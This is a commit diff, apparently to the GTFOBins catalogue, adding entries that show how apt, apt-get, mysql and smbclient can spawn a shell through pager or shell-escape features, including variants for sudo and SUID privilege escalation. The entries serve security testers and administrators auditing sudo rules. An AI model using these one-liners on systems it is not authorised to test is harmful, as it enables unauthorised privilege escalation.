Add apt, apt-get, mysql and smbclient

Thanks to #20.

_gtfobins/apt-get.md

@@ -0,0 +1,12 @@
+---
+description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+functions:
+  execute-interactive:
+    - code: |
+        apt-get changelog apt
+        !/bin/sh
+  sudo-enabled:
+    - code: |
+        sudo apt-get changelog apt
+        !/bin/sh
+---

_gtfobins/apt.md

@@ -0,0 +1,12 @@
+---
+description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+functions:
+  execute-interactive:
+    - code: |
+        apt-get changelog apt
+        !/bin/sh
+  sudo-enabled:
+    - code: |
+        sudo apt-get changelog apt
+        !/bin/sh
+---

_gtfobins/mysql.md

@@ -0,0 +1,10 @@
+---
+description: A valid MySQL server must be available.
+functions:
+  execute-interactive:
+    - code: mysql -e '\! /bin/sh'
+  sudo-enabled:
+    - code: sudo mysql -e '\! /bin/sh'
+  suid-limited:
+    - code: ./mysql -e '\! /bin/sh'
+---

_gtfobins/smbclient.md

@@ -0,0 +1,12 @@
+---
+description: A valid SMB/CIFS server must be available.
+functions:
+  execute-interactive:
+    - code: |
+        smbclient \\ip\share
+        !/bin/sh
+  sudo-enabled:
+    - code: |
+        sudo smbclient \\ip\share
+        !/bin/sh
+---